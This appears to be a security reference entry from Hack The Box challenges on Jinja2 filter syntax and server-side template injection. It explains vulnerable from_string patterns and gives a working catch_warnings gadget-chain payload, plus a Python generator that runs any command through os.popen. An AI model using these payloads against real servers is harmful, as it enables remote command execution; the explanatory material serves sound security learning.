Jinja2
Jinja2 filter syntax
The pipe operator passes the value on its left through the filter named on its right:
{% set result = value | filter %}This is equivalent to applying filter to value and assigning the returned value to result. The filter name may refer to a Jinja2 built-in filter or a custom filter registered by the application.
import base64
@app.template_filter("decode")
def decode_value(value):
decoded_bytes = base64.b64decode(value)
decoded_value = decoded_bytes.decode()
return decoded_value{% set result = encoded_value | decode %}The template syntax above is application-controlled source. Attacker-controlled encoded_value remains data passed into the filter unless it reaches another operation that evaluates it as template or code.
Find by: jinja2, jinja, pipe operator, vertical bar, filter syntax, custom filter, template_filter, set variable, source review · Source: HTB/C.O.P.
Jinja2 SSTI RCE via catch_warnings
Builds a Jinja2 payload that reaches Python builtins through the catch_warnings class and executes a command with os.popen().
Vulnerable source pattern
A fixed template loaded from disk keeps user_input in the template context as data:
<p>{{ value }}</p>template = environment.get_template("page.html")
output = template.render(value=user_input)When autoescaping is enabled, {{ value }} escapes HTML metacharacters. Adding safe disables that HTML escaping:
<p>{{ value | safe }}</p>safe can make attacker-controlled HTML executable in the browser, but it does not parse Jinja2 syntax stored inside value. An input such as {{ 7 * 7 }} remains the literal value {{ 7 * 7 }} in both cases.
SSTI appears when attacker-controlled input becomes the source passed to from_string():
template_source = user_input
template = environment.from_string(template_source)
output = template.render()The same vulnerability appears when the input is concatenated into otherwise fixed source before compilation:
template_source = "<p>Result: " + user_input + "</p>"
template = environment.from_string(template_source)
output = template.render()In both vulnerable forms, {{ 7 * 7 }} is part of template_source and renders as 49.
Testing
An evaluated arithmetic expression renders 49, confirming that the input reaches the template engine as template source rather than plain data.
{{ 7 * 7 }}Command execution
The payload reaches Python’s import function by starting from an object that can be created inside the template and following references to built-in functions already loaded by Python. This existing object path is the gadget chain.
The chain is:
() -> create an empty tuple object
().__class__ -> obtain the tuple class
().__class__.__base__ -> obtain the base object class
object.__subclasses__() -> return the classes currently loaded beneath object
x.__name__ -> identify each class by name
x() -> create an instance of catch_warnings
x()._module -> obtain the Python warnings module referenced by that instance
_module.__builtins__ -> obtain the built-in functions available to the module
['__import__']('os') -> load the os module
os.popen(<COMMAND>) -> start the command and return a readable stream
.read() -> read command stdout into the rendered templateThe loop searches the loaded classes for the one named catch_warnings; its _module attribute provides the path to the built-in import function. This path depends on the class being loaded and on the template environment allowing these attribute accesses.
repr(command) quotes and escapes the command as a valid Python string literal, so spaces and quotes inside the command do not break the template expression.
def jinja2_popen_payload(command):
payload = "{% for x in ().__class__.__base__.__subclasses__() %}{% if x.__name__ == 'catch_warnings' %}{{ x()._module.__builtins__['__import__']('os').popen(" + repr(command) + ").read() }}{% endif %}{% endfor %}"
return payloadRendered payload
{% for x in ().__class__.__base__.__subclasses__() %}{% if x.__name__ == 'catch_warnings' %}{{ x()._module.__builtins__['__import__']('os').popen('id').read() }}{% endif %}{% endfor %}Find by: ssti, jinja2, jinja, template source, template data, from string, from_string, safe filter, autoescape, xss vs ssti, template injection, catch_warnings, subclasses, builtins, import os, popen, command execution, repr, python template · Source: HTB/JinjaCare + Jinja documentation